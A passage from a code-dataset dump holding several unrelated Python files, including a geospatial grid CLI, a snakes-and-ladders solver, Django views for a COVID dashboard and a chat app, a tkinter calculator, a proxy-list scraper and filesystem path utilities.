residFlr\n\n\n","sub_path":"operations.py","file_name":"operations.py","file_ext":"py","file_size_in_byte":7241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"546426389","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nA CLI used to produce the sample space.\n\"\"\"\n\nimport argparse\nimport sys\nimport logging\nimport numpy as np\nfrom shapely.geometry import box\nimport rasterio as rio\nimport geopandas as gpd\n\nfrom keras_spatial import __version__\nfrom keras_spatial.samples import regular_grid, random_grid\n\n__author__ = \"Jeff Terstriep\"\n__copyright__ = \"University of Illinois Board of Trustees\"\n__license__ = \"ncsa\"\n\n_logger = logging.getLogger(__name__)\n\n\ndef raster_meta(fname):\n \"\"\"Return some metadata from a raster file.\n \n Args:\n fname (str): file path\n\n Returns:\n :tuple(bounds, size, crs)\n \"\"\"\n\n with rio.open(fname) as src:\n return (src.bounds, (src.width, src.height), src.crs)\n\ndef get_parser():\n \"\"\"Configure command line arguments\n\n Returns:\n :obj:`argparse.ArgumentParser`: \n \"\"\"\n parser = argparse.ArgumentParser(\n description=\"Generate geodataframe containing spatial patches\")\n parser.add_argument(\n 'output',\n metavar='FILE',\n help='output vector file')\n parser.add_argument(\n 'size',\n metavar='SIZE',\n type=float,\n nargs=2,\n help='patch size in projection units')\n parser.add_argument(\n '--size-in-pixels',\n action='store_true',\n default=False,\n help='if size is specified in pixels (raster mode only)')\n parser.add_argument(\n '-f', '--format',\n metavar='FORMAT',\n default='GPKG',\n help='output file format (default=GPKG)')\n parser.add_argument(\n '--random-count',\n metavar='COUNT',\n type=int,\n default=0,\n help='number of randomly placed patches (default=0)')\n parser.add_argument(\n '--overlap',\n metavar='PERCENT',\n type=float,\n default=0.0,\n help='percent of overlap (default=0.0)')\n parser.add_argument(\n '-e', '--extent',\n type=float,\n nargs=4,\n metavar='FLOAT',\n help='spatial extent (minx, miny, maxx, maxy)')\n parser.add_argument(\n '--extent-crs',\n metavar='PROJ',\n default='EPSG:4326',\n help='projection of extents (default=EPSG:4326)')\n parser.add_argument(\n '-r', '--raster',\n metavar='FILE',\n help='raster file used to define extents and projection')\n parser.add_argument(\n '-m', '--mask',\n metavar='FILE',\n help='vector file used to define irregular study area')\n parser.add_argument(\n '-t', '--target-crs',\n metavar='PROJ',\n help='target projection if different from source projection')\n parser.add_argument(\n '-V', '--version',\n action='version',\n version='keras-spatial {ver}'.format(ver=__version__))\n parser.add_argument(\n '-v', '--verbose',\n dest=\"loglevel\",\n help=\"set loglevel to INFO\",\n action='store_const',\n const=logging.INFO)\n parser.add_argument(\n '-vv', '--very-verbose',\n dest=\"loglevel\",\n help=\"set loglevel to DEBUG\",\n action='store_const',\n const=logging.DEBUG)\n return parser\n\n\ndef setup_logging(loglevel):\n \"\"\"Setup basic logging\n\n Args:\n loglevel (int): minimum loglevel for emitting messages\n \"\"\"\n logformat = \"[%(asctime)s] %(levelname)s:%(name)s:%(message)s\"\n logging.basicConfig(level=loglevel, stream=sys.stdout,\n format=logformat, datefmt=\"%Y-%m-%d %H:%M:%S\")\n\n\ndef main(args):\n \"\"\"Main entry point allowing external calls\n\n Args:\n args ([str]): command line parameter list\n \"\"\"\n parser = get_parser()\n args = parser.parse_args(args)\n setup_logging(args.loglevel)\n\n # TODO\n if args.size_in_pixels:\n _logger.error('--size-in-pixels not implemented')\n sys.exit(-1)\n\n if args.overlap < 0 or args.overlap >= 100:\n _logger.error('overlap must be between 0-100')\n sys.exit(-1)\n else:\n args.overlap /= 100.0\n\n if args.raster:\n args.extent, _, args.extent_crs = raster_meta(args.raster)\n\n if not args.extent:\n _logger.error('raster file or extent must be provided')\n sys.exit(-1)\n\n if args.random_count > 0:\n df = random_grid(*args.extent, *args.size, args.random_count)\n else:\n df = regular_grid(*args.extent, *args.size, args.overlap)\n\n df.crs = args.extent_crs\n \n if args.target_crs:\n df.to_crs(args.target_crs)\n\n df.to_file(args.output, driver=args.format)\n\n\ndef run():\n \"\"\"Entry point for console_scripts\n \"\"\"\n main(sys.argv[1:])\n\n\nif __name__ == \"__main__\":\n run()\n","sub_path":"src/keras_spatial/grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":4647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"163280357","text":"# Python3 program to find minimum number\n# of dice throws required to reach last\n# cell from first cell of a given\n# snake and ladder board\n\n# An entry in queue used in BFS\nclass Cell(object):\n def __init__(self, cell_num=0, dist=0):\n self.cell_num = cell_num\n self.dist = dist\n\n\n'''This function returns minimum number of \ndice throws required to. Reach last cell \nfrom 0'th cell in a snake and ladder game. \nmove[] is an array of size N where N is \nno. of cells on board. If there is no \nsnake or ladder from cell i, then move[i] \nis -1. Otherwise move[i] contains cell to \nwhich snake or ladder at i takes to.'''\n\n\ndef getMinDiceThrows(boardSize, snakes, ladders):\n # orgnize the shortcuts; combin snakes and ladders\n temp = snakes + ladders\n shortcuts = {}\n for i in temp:\n index = i[0]\n value = i[1]\n shortcuts[index] = value\n\n # for shortest path, use BFS\n # create a queue\n queue = list()\n\n # init cell 1\n cell_1 = Cell(0, 0)\n queue.append(cell_1)\n\n # check board visit status, -1 for unvisited, 1 for visited\n cell_visited = [-1] * boardSize\n cell_visited[0] = 1\n\n res = Cell()\n while queue:\n res = queue.pop(0)\n cur_cell_num = res.cell_num\n # break when cur_cell is a cell away from destination\n if boardSize - cur_cell_num < 2:\n break\n\n # start to look for cells within a dice range\n next_cell = cur_cell_num + 1\n while boardSize - next_cell > 1 and next_cell - cur_cell_num <= 6:\n\n if cell_visited[next_cell] == -1:\n\n new_cell = Cell()\n new_cell.dist = res.dist + 1\n cell_visited[next_cell] = 1\n\n # check for shortcuts\n if next_cell in shortcuts.keys():\n new_cell.cell_num = shortcuts[next_cell]\n else:\n new_cell.cell_num = next_cell\n\n queue.append(new_cell)\n\n next_cell += 1\n\n return res.dist\n\n\ndef change(snakes, ladders):\n temp = snakes + ladders\n shortcuts = {}\n for i in temp:\n index = i[0]\n value = i[1]\n shortcuts[index] = value\n return shortcuts\n\n\nN = 30\nsnakes = [[27, 1],\n [21, 9],\n [17, 4],\n [19, 7]]\nladders = [[11, 26],\n [3, 22],\n [5, 8],\n [20, 29]]\n\nm = change(snakes, ladders)\nprint(getMinDiceThrows(N, snakes, ladders))\n# driver code\nN = 30\nmoves = [-1] * N\n\n# Ladders\nmoves[2] = 21\nmoves[4] = 7\nmoves[10] = 25\nmoves[19] = 28\n\n# Snakes\nmoves[26] = 0\nmoves[20] = 8\nmoves[16] = 3\nmoves[18] = 6\n\nprint(moves)\n# print(\"Min Dice throws required is {0}\".\n# format(getMinDiceThrows(moves, N)))\n\n# This code is contributed by Ajitesh Pathak\n","sub_path":"Ryan/texti/snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":2767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"463191435","text":"from datetime import datetime\n\nfrom django.db import migrations, models\nfrom pytz import utc\n\n\nclass Migration(migrations.Migration):\n dependencies = [\n ('movies', '0001_initial'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='SynoSession',\n name='timestamp',\n field=models.DateTimeField(auto_now=True, default=datetime.min.replace(tzinfo=utc)),\n )\n ]\n","sub_path":"movies/migrations/0002_syno_account_timestamp.py","file_name":"0002_syno_account_timestamp.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"517697825","text":"from simpletk import *\nfrom math import *\nfrom tkinter.messagebox import askokcancel\n\nclass MyApplication(TApplication):\n\tdef AskOnExit(self, sender):\n\t\tif askokcancel ( \"Подтверждение\", \"Вы действительно хотите выйти из программы?\" ):\n\t\t\tself.destroy()\n\tdef click(self, sender):\n\t\tself.lbl.text += sender[\"text\"]\n\tdef calc(self, sender):\n\t\tif (self.lbl.text == \"pie\"):\n\t\t\t\n\t\t\treturn\n\t\ttry:\n\t\t\tself.lbl.text = str(eval(self.lbl.text))\n\t\texcept:\n\t\t\tself.lbl.text = \"ERROR\"\n\tdef clickother(self, sender):\n\t\tself.lbl.text += sender[\"text\"] + '('\n\t\t\n\tdef clear(self, sender):\n\t\tself.lbl.text = self.lbl.text[:-1]\n\tdef clearall(self, sender):\n\t\tself.lbl.text = \"\"\n\t\t\n\tnumbers = [[str(x) for x in range(10)], []]\n\tsigns = [['+', '-', '/', '*', '%', '(', ')', 'C', 'Backspace', '='], []]\n\tother = [['sqrt', 'cos', 'sin', 'tan', 'log', 'log10', 'factorial'], []]\n\tconstants = [['pi', 'e'], []]\n\t\n\tdef makecol(self, col, lst, fclick):\n\t\tlst[1] = [TButton(self.panel, width = 5, text = x) for x in lst[0]]\n\t\t#exit(0)\n\t\tfor i in range(len(lst[1])):\n\t\t\tlst[1][i].position = (col * 75, i * 20)\n\t\t\tlst[1][i].onClick = fclick\n\tdef __init__(self):\n\t\tTApplication.__init__ ( self, \"FORM\")\n\t\tself.position = (300, 300)\n\t\tself.size = (500, 200)\n\t\tself.resizable = (True, True)\n\t\tself.onCloseQuery = self.AskOnExit\n\t\t\n\t\tself.panel = TPanel (self, relief = \"raised\", height = 200, bd = 1 )\n\t\tself.panel.align = \"top\"\n\t\tself.image = TImage (self, bg = \"white\" )\n\t\tself.image.align = \"client\"\n\t\tself.lbl = TLabel(self, text = \"\", font = (\"Courier New\", 12, \"bold\" ) )\n\t\tself.lbl.position = (150, 150)\n\t\t###\n\t\t#photo = TImage(sefl.lbl)\n\t\t#photo.setPicture(self, \"\\pie.gif\")\n\t\t#photo.file = \"pie.jpeg\"\n\t\t#photo.size = (100, 100)\n\t\t#photo.position = (0, 0)\n\t\tself.makecol(0, self.numbers, self.click)\n\t\tself.makecol(1, self.signs, self.click)\n\t\tself.makecol(2, self.other, self.clickother)\n\t\tself.makecol(3, self.constants, self.click)\n\t\tself.signs[1][-3].onClick = self.clearall\n\t\tself.signs[1][-2].onClick = self.clear\n\t\tself.signs[1][-1].onClick = self.calc\n\t\t\napp = MyApplication()\napp.Run()\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"597617014","text":"from django.contrib.auth.models import User, Group\nfrom rest_framework import viewsets, permissions\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view, permission_classes, throttle_classes\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.throttling import UserRateThrottle\nfrom django.shortcuts import render\nimport pandas, json\n\n\ndef index(request):\n\n df_local = pandas.read_csv('SHEETS.csv', header=1)\n df_local['Date'] = pandas.to_datetime(df_local['Date'], format='%d-%m-%y')\n\n df_table = df_local[df_local['Date'] == df_local['Date'].max()].groupby('Province').sum()\n df_table = df_table[['Suspected_Cum','Tested_Cum','Confirmed_Cum','Admitted_Cum','Discharged_Cum','Expired_Cum']]\n\n df_dates = df_local.groupby('Date').sum()\n\n df_intl = pandas.read_csv('INTL.csv', header=1)\n \n return render(request, 'api/index.html', {\n 'summary': dict(df_local.groupby(['Date']).sum().iloc[-1, :][['Suspected_Cum','Tested_Cum','Confirmed_Cum','Admitted_Cum','Discharged_Cum','Expired_Cum']]),\n 'table': df_table.to_json(orient='split'),\n 'today': df_local['Date'].max().strftime('%d-%m-%Y'),\n 'dates': list(df_local['Date'].sort_values().dt.strftime('%d-%m-%Y').unique()),\n 'Balochistan': list(df_local[df_local['Province']=='Balochistan'].groupby(['Date']).sum()['Confirmed_Cum']),\n 'Pakhtunkhwa': list(df_local[df_local['Province']=='Khyber Pakhtunkhwa'].groupby(['Date']).sum()['Confirmed_Cum']),\n 'Punjab': list(df_local[df_local['Province']=='Punjab'].groupby(['Date']).sum()['Confirmed_Cum']),\n 'Sindh': list(df_local[df_local['Province']=='Sindh'].groupby(['Date']).sum()['Confirmed_Cum']),\n 'Islamabad': list(df_local[df_local['Province']=='Islamabad'].groupby(['Date']).sum()['Confirmed_Cum']),\n 'Gilgit': list(df_local[df_local['Province']=='Gilgit-Baltistan'].groupby(['Date']).sum()['Confirmed_Cum']),\n 'Kashmir': list(df_local[df_local['Province']=='Azad Kashmir'].groupby(['Date']).sum()['Confirmed_Cum']),\n # 'Tribal': list(df_local[df_local['Province']=='KP Tribal Districts'].groupby(['Date']).sum()['Confirmed_Cum']),\n 'comparison': df_intl.to_json(orient='columns')\n })\n\n\nclass TenPerDayUserThrottle(UserRateThrottle):\n rate = '1/sec'\n\n\n@api_view()\n@permission_classes([IsAuthenticated])\n@throttle_classes([TenPerDayUserThrottle])\ndef summary(request):\n df = pandas.read_csv('SHEETS.csv', header=1)\n df['Date'] = pandas.to_datetime(df['Date'], format='%d-%m-%y')\n df.fillna(0, inplace=True)\n df = df[df['Province'] != 'KP Tribal Districts']\n\n df_total = df.rename(columns={ 'Suspected_Cum': 'Suspected', 'Tested_Cum': 'Tested', 'Confirmed_Cum': 'Confirmed', 'Admitted_Cum': 'Admitted', 'Discharged_Cum': 'Discharged', 'Expired_Cum': 'Expired' })\n df_today = df.rename(columns={ 'Suspected_24': 'Suspected', 'Tested_24': 'Tested', 'Confirmed_24': 'Confirmed', 'Admitted_24': 'Admitted', 'Discharged_24': 'Discharged', 'Expired_24': 'Expired' })\n\n return Response({\n 'updated': df['Date'].max().strftime('%d-%m-%Y'),\n 'total': dict(df_total.groupby(['Date']).sum().iloc[-1, :][['Suspected','Tested','Confirmed','Admitted','Discharged','Expired']]),\n 'today': dict(df_today.groupby(['Date']).sum().iloc[-1, :][['Suspected','Tested','Confirmed','Admitted','Discharged','Expired']]),\n 'province_total': dict(pandas.pivot_table(df, values='Confirmed_Cum', index=df['Date'], columns=df['Province'], aggfunc='sum').iloc[-1, :])\n })\n","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"623321519","text":"# coding:utf-8\nimport base64\nimport re\n\nimport gevent\n\nfrom fetcher import BaseFetcher\n\n\nclass Fetcher(BaseFetcher):\n name = 'proxy-list'\n use_proxy = True\n\n def __init__(self, tasks, result, pool=None):\n super(Fetcher, self).__init__(tasks, result, pool)\n self.urls = ['https://proxy-list.org/english/index.php?p=%s' % n for n in range(1, 10)]\n\n def handle(self, resp):\n return re.findall(r\"Proxy\\('(.*?)'\\)\", resp.text)\n\n def add_result(self, result):\n for proxy in result:\n self._tasks.add(base64.b64decode(proxy).decode())\n\n\nif __name__ == '__main__':\n Fetcher.test()\n","sub_path":"fetcher/fetcher_proxy_list.py","file_name":"fetcher_proxy_list.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"315058887","text":"from django.contrib.auth import authenticate,login,logout\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.http import HttpResponseRedirect, JsonResponse, HttpResponse\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.contrib.auth.models import User\nfrom django.views.generic import TemplateView\nfrom django.views.generic.list import ListView\nfrom Mensajes.models import Comentarios,Mensajes\nfrom django.views.decorators.csrf import csrf_exempt\n\n\nclass Inicio(TemplateView):\n template_name = 'index.html'\n\nclass Caracteristicas(TemplateView):\n template_name = 'caracteristicas.html'\n\ndef NuevoUsuario(request):\n if request.method == 'POST':\n formulario = UserCreationForm(request.POST)\n if formulario.is_valid:\n formulario.save()\n return HttpResponseRedirect('Ingresar')\n else:\n formulario = UserCreationForm()\n return render_to_response('usuarios/NuevoUsuario.html',{'formulario':formulario},context_instance=RequestContext(request))\n\n\ndef Ingresar(request):\n if request.method == 'POST':\n formulario = AuthenticationForm(request.POST)\n if formulario.is_valid:\n usuario = request.POST['username']\n clave = request.POST['password']\n acceso = authenticate(username=usuario,password=clave)\n if acceso is not None:\n if acceso.is_active:\n login(request,acceso)\n return HttpResponseRedirect('/usuarios/ListaUsuarios/')\n else:\n return render_to_response('usuarios/NoActivo.html')\n else:\n return render_to_response('usuarios/NoUsuario.html')\n else:\n formulario = AuthenticationForm(request.POST)\n return render_to_response('usuarios/Ingresar.html',{'formulario':formulario},context_instance=RequestContext(request))\n\n\ndef CerrarSesion(request):\n logout(request)\n return HttpResponseRedirect('/')\n\n\nclass ListaUsuarios(ListView):\n model = User\n template_name = 'usuarios/ListaUsuarios.html'\n context_object_name = 'usuarios'\n\n def get_context_data(self, **kwargs):\n context = super(ListaUsuarios, self).get_context_data(**kwargs)\n comentarios = Comentarios.objects.all().order_by('-id')[:4]\n context['comentarios'] = comentarios\n return context\n\n\n@csrf_exempt\ndef RecibiendoMensaje(request):\n user_name = request.POST['user']\n user = User.objects.get(username=user_name)\n mensaje = request.POST['mensaje']\n com = Comentarios.objects.create(\n user=user,\n comentario=mensaje\n )\n com.save()\n data = {'user':user.username,'mensaje':mensaje}\n response = JsonResponse(data,safe=False)\n return HttpResponse(response.content)\n\n\n@csrf_exempt\ndef MensajePersonal(request):\n emisor = User.objects.get(username=request.POST.get('usuario'))\n receptor = User.objects.get(username=request.POST.get('usuario_receptor').strip())\n mensaje = request.POST.get('mensaje')\n msj = Mensajes.objects.create(\n usuario_emisor = emisor.pk,\n usuario_receptor = receptor.pk,\n mensaje = mensaje\n )\n data = {'emisor':emisor.username,'receptor':receptor.username,'mensaje':mensaje}\n response = JsonResponse(data,safe=False)\n return HttpResponse(response.content)\n","sub_path":"Usuarios/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"350557873","text":"import task\nimport math\n\n# 65 64 63 62 61 60 59 58 57\n# 66 37 36 35 34 33 32 31 56\n# 67 38 17 16 15 14 13 30 55\n# 68 39 18 5 4 3 12 29 54\n# 69 40 19 6 1 2 11 28 53\n# 70 41 20 7 8 9 10 27 52\n# 71 42 21 22 23 24 25 26 51\n# 72 43 44 45 46 47 48 49 50\n# 73 74 75 76 77 78 79 80 81 \n\nclass dec03_1(task.int_task):\n def run(self, data):\n gridsize = int(math.sqrt(data))\n # Size is always odd as we increment by two from one\n if gridsize * gridsize < data:\n gridsize = gridsize + 1\n if gridsize % 2 == 0:\n gridsize = gridsize + 1\n\n gridmax = gridsize * gridsize\n\n # the start will always be on the outer edge, we always need to go this\n # many steps\n steps = int(gridsize / 2)\n\n # where is the number, calculate the edge by subtracting number from\n # max and dividing by edge size rounding upwards. Last edge numberwise\n # (bottom) will be 0, left will be 1, top be 2, right be 3\n #edge = math.ceil((gridmax - data) / gridsize)\n if gridsize > 1:\n edge = int((gridmax - data) / (gridsize - 1))\n else:\n edge = 0\n\n # calculate the middle number of that edge, offset to this number will\n # control how many steps we need to take to get to center\n edgepivot = gridmax - edge * (gridsize - 1) - int(gridsize / 2)\n\n # now offset out number to the edge pivot\n steps = steps + abs(edgepivot - data)\n\n # tada.wav\n return steps\n\nclass dec03_2(task.int_task):\n def getedgevalues(self, gridsize, edge):\n if gridsize == 1:\n return [1]\n gridmax = gridsize * gridsize\n edgemax = gridmax - edge * (gridsize - 1)\n edgemin = gridmax - (edge + 1) * (gridsize - 1)\n\n # Reverse it as we are always going from high to low\n return list(reversed(range(edgemin + 1, edgemax + 1)))\n\n def getlowerorderneighbours(self, home):\n # special case\n if home == 1:\n return []\n\n neighbours = []\n\n # Perform the basic calculations from dec03_1 to find our edge and offset\n # in the matrix\n gridsize = int(math.sqrt(home))\n\n if gridsize * gridsize < home:\n gridsize = gridsize + 1\n if gridsize % 2 == 0:\n gridsize = gridsize + 1\n\n gridmax = gridsize * gridsize\n\n if gridsize > 1:\n edge = int((gridmax - home) / (gridsize - 1))\n else:\n edge = 0\n\n # If we are not first, our immediate lower will always neighbour us\n neighbours.append(home - 1)\n\n # calculate the size and contents of the immediate inner grid from us\n innergridsize = gridsize - 2\n\n inneredges = []\n ouredges = []\n\n for genedge in range(4):\n inneredges.append(self.getedgevalues(innergridsize, genedge))\n ouredges.append(self.getedgevalues(gridsize, genedge))\n\n # corneroffset is position relative to the corner, offset 0 means we are in a corner,\n # -1 means we are on the \"higher number side\" of the corner, +1 on the lower side\n corneroffset = (gridmax - home) % (gridsize - 1)\n\n if corneroffset == 0:\n # Are we a \"corner number\", if so we will only neighbour one\n # additional other, i.e. the corner in the inner ring and\n # possibly the first number on this grid\n\n # Edge 0 corner, add the first number in our gridsize\n if edge == 0 and home > 1:\n neighbours.append(ouredges[3][-1])\n\n # Add the corner number from the corner in the inner grid\n innercornervalue = inneredges[edge][0]\n neighbours.append(innercornervalue)\n\n if corneroffset == 1:\n # Are next to a corner on the lower side?, if so we will neighbour the inner\n # corner and the square at our relative position to the corner\n\n # add neighbour in our corner\n innercornervalue = inneredges[edge][0]\n neighbours.append(innercornervalue)\n\n # Add the immediate next to in the inner ring\n if len(inneredges[edge]) > 1:\n nexttoinnercornervalue = inneredges[edge][1]\n neighbours.append(nexttoinnercornervalue)\n\n # Edge 0 corner, add the first number in our gridsize\n if edge == 0 and home > 1:\n neighbours.append(ouredges[3][-1])\n if corneroffset == (gridsize - 2):\n # Are next to a corner on the higher side? We will border our\n # home -2 (unless we are on the 3rd edge), the immediate corner\n # on the inside and the number on our correspodning offset to\n # that corner\n\n # Add cross corner to the lower integer side\n if edge < 3:\n neighbours.append(home - 2)\n\n # Add immediate next to neighbour\n if len(inneredges[edge]) > 1:\n innernexttoadd = inneredges[edge][-1]\n neighbours.append(innernexttoadd)\n\n # Corner cases for the rest of edges as we need to peek into the\n # neighbouring edges for the bordering\n if edge == 2 and len(inneredges[edge]) > 1:\n nexttoinnercornervalue = inneredges[3][0]\n neighbours.append(nexttoinnercornervalue)\n elif edge == 1 and len(inneredges[edge]) > 1:\n nexttoinnercornervalue = inneredges[2][0]\n neighbours.append(nexttoinnercornervalue)\n elif edge == 0 and len(inneredges[edge]) > 1:\n nexttoinnercornervalue = inneredges[1][0]\n neighbours.append(nexttoinnercornervalue)\n\n if corneroffset > 1 and corneroffset < (gridsize - 2):\n # Are we not in a corner not next to it? we will neighbour 3\n # additional ones, the one directly inner to us and its two\n # neighbours\n\n # we will neighbour our corresponding number on the inner circle,\n # which is our corneroffset - 1 and then it's immediate neighbours,\n # so +1 and -1 respecivly\n cornerhigh = gridmax - edge * (gridsize - 1)\n cornerhighoffset = cornerhigh - home\n\n offset = cornerhighoffset - 1\n\n # Make sure to cater for wrapping to neighbouring edge\n neighbours.append(inneredges[edge][offset - 1])\n neighbours.append(inneredges[edge][offset])\n if offset + 1 == len(inneredges[edge]):\n neighbours.append(inneredges[(edge + 1) % 4][0])\n else:\n neighbours.append(inneredges[edge][offset + 1])\n\n return sorted(list(set(neighbours)))\n\n def test_getlowerorderneighbours(self):\n facit = {\n 1: [],\n 2: [1],\n 3: [1, 2],\n 4: [1, 2, 3],\n 5: [1, 4],\n 6: [1, 4, 5],\n 7: [1, 6],\n 8: [1, 2, 6, 7],\n 9: [1, 2, 8],\n 10: [2, 9],\n 11: [2, 3, 9, 10],\n 12: [2, 3, 11],\n 13: [3, 12],\n 14: [3, 4, 12, 13],\n 15: [3, 4, 5, 14],\n 16: [4, 5, 15],\n 17: [5, 16],\n 18: [5, 6, 16, 17],\n 19: [5, 6, 7, 18],\n 20: [6, 7, 19],\n 21: [7, 20],\n 22: [7, 8, 20, 21],\n 23: [7, 8, 9, 22],\n 24: [8, 9, 10, 23],\n 25: [9, 10, 24],\n 26: [10, 25],\n 27: [10, 11, 25, 26],\n 28: [10, 11, 12, 27],\n 29: [11, 12, 13, 28],\n 30: [12, 13, 29],\n 31: [13, 30],\n 32: [13, 14, 30, 31],\n 33: [13, 14, 15, 32],\n 34: [14, 15, 16, 33],\n 35: [15, 16, 17, 34],\n 36: [16, 17, 35],\n 37: [17, 36],\n 38: [17, 18, 36, 37],\n 39: [17, 18, 19, 38],\n 41: [19, 20, 21, 40],\n 42: [20, 21, 41],\n 43: [21, 42],\n 44: [21, 22, 42, 43],\n 45: [21, 22, 23, 44],\n 46: [22, 23, 24, 45],\n 47: [23, 24, 25, 46],\n 48: [24, 25, 26, 47],\n 49: [25, 26, 48],\n }\n\n notok = []\n for offset, val in facit.items():\n result = self.getlowerorderneighbours(offset)\n print(\"{0} -> {1}: \".format(offset, result), end='')\n if result == val:\n print(\"OK\")\n else:\n print(\"NOT OK, expected {0}\", val)\n notok.append(offset)\n\n print(notok)\n\n def run(self, data):\n # we go from lower to higher, so only need to check the numbers we have\n # already done, store the done numbers in the correct offset in this\n # array\n cellsfilled = [0]\n\n cell = 0\n while True:\n cell = cell + 1\n neighbours = self.getlowerorderneighbours(cell)\n if cell == 1:\n cellsum = 1\n else:\n cellsum = 0\n\n for neighbour in neighbours:\n cellsum = cellsum + cellsfilled[neighbour]\n\n if cellsum > data:\n return cellsum\n\n cellsfilled.append(cellsum)\n\nif __name__ == \"__main__\":\n dec03_1().runtests()\n dec03_2().runtests()\n","sub_path":"2017/python/dec03.py","file_name":"dec03.py","file_ext":"py","file_size_in_byte":9351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"97372629","text":"from openprocurement.api.utils import json_view\nfrom openprocurement.framework.core.utils import qualificationsresource\nfrom openprocurement.framework.core.views.qualification import CoreQualificationResource\nfrom openprocurement.framework.core.validation import (\n validate_patch_qualification_data,\n validate_update_qualification_in_not_allowed_status,\n validate_action_in_not_allowed_framework_status,\n)\nfrom openprocurement.framework.dps.constants import DPS_TYPE\n\n\n@qualificationsresource(\n name=f\"{DPS_TYPE}:Qualifications\",\n path=\"/qualifications/{qualification_id}\",\n qualificationType=DPS_TYPE,\n description=\"Qualifications\",\n)\nclass QualificationResource(CoreQualificationResource):\n @json_view(\n content_type=\"application/json\",\n validators=(\n validate_update_qualification_in_not_allowed_status,\n validate_patch_qualification_data,\n validate_action_in_not_allowed_framework_status(\"qualification\"),\n ),\n permission=\"edit_qualification\",\n )\n def patch(self):\n return super().patch()\n","sub_path":"src/openprocurement/framework/dps/views/qualification.py","file_name":"qualification.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"24832148","text":"#!/usr/bin/env python3\n'Utilities to make Python systems programming more palatable.'\nimport errno\nimport os\nimport shutil\nimport stat\nimport subprocess\nimport urllib.parse\nimport tempfile\n\nfrom contextlib import contextmanager\nfrom typing import AnyStr, Iterable\n\nfrom .common import byteme, check_popen_returncode, get_file_logger\n\nlog = get_file_logger(__file__)\n\n\n# `pathlib` refuses to operate on `bytes`, which is the only sane way on Linux.\nclass Path(bytes):\n 'A byte path that supports joining via the / operator.'\n\n def __new__(cls, arg, *args, **kwargs):\n return super().__new__(cls, byteme(arg), *args, **kwargs)\n\n @classmethod\n def or_none(cls, arg, *args, **kwargs):\n if arg is None:\n return None\n return cls(arg, *args, **kwargs)\n\n def __truediv__(self, right: AnyStr) -> 'Path':\n return Path(os.path.join(self, byteme(right)))\n\n def __rtruediv__(self, left: AnyStr) -> 'Path':\n return Path(os.path.join(byteme(left), self))\n\n def file_url(self) -> str:\n return 'file://' + urllib.parse.quote(os.path.abspath(self))\n\n def basename(self) -> 'Path':\n return Path(os.path.basename(self))\n\n def dirname(self) -> 'Path':\n return Path(os.path.dirname(self))\n\n def normpath(self) -> 'Path':\n return Path(os.path.normpath(self))\n\n def decode(self, encoding='utf-8', errors=None) -> str:\n # Python uses `surrogateescape` for invalid UTF-8 from the filesystem.\n if errors is None:\n errors = 'surrogateescape'\n # Future: if there's a legitimate reason to allow other `errors`,\n # this can be fixed -- just make `surrogatescape` a normal default.\n assert errors == 'surrogateescape', errors\n return super().decode(encoding, errors)\n\n @classmethod\n def from_argparse(cls, s: str) -> 'Path':\n # Python uses `surrogateescape` for `sys.argv`.\n return Path(s.encode(errors='surrogateescape'))\n\n def read_text(self) -> str:\n with open(self) as infile:\n return infile.read()\n\n\n@contextmanager\ndef temp_dir(**kwargs) -> Iterable[Path]:\n with tempfile.TemporaryDirectory(**kwargs) as td:\n yield Path(td)\n\n\n@contextmanager\ndef open_for_read_decompress(path):\n 'Wraps `open(path, \"rb\")` to add transparent `.zst` or `.gz` decompression.'\n path = Path(path)\n if path.endswith(b'.zst'):\n decompress = 'zstd'\n elif path.endswith(b'.gz') or path.endswith(b'.tgz'):\n decompress = 'gzip'\n else:\n with open(path, 'rb') as f:\n yield f\n return\n with subprocess.Popen([\n decompress, '--decompress', '--stdout', path,\n ], stdout=subprocess.PIPE) as proc:\n yield proc.stdout\n check_popen_returncode(proc)\n\n\ndef create_ro(path, mode):\n '`open` that creates (and never overwrites) a file with mode `a+r`.'\n def ro_opener(path, flags):\n return os.open(\n path,\n (flags & ~os.O_TRUNC) | os.O_CREAT | os.O_EXCL | os.O_CLOEXEC,\n mode=stat.S_IRUSR | stat.S_IRGRP | stat.S_IROTH,\n )\n return open(path, mode, opener=ro_opener)\n\n\n@contextmanager\ndef populate_temp_dir_and_rename(dest_path, overwrite=False) -> Path:\n '''\n Returns a Path to a temporary directory. The context block may populate\n this directory, which will then be renamed to `dest_path`, optionally\n deleting any preexisting directory (if `overwrite=True`).\n\n If the context block throws, the partially populated temporary directory\n is removed, while `dest_path` is left alone.\n\n By writing to a brand-new temporary directory before renaming, we avoid\n the problems of partially writing files, or overwriting some files but\n not others. Moreover, populate-temporary-and-rename is robust to\n concurrent writers, and tends to work on broken NFSes unlike `flock`.\n '''\n dest_path = os.path.normpath(dest_path) # Trailing / breaks `os.rename()`\n # Putting the 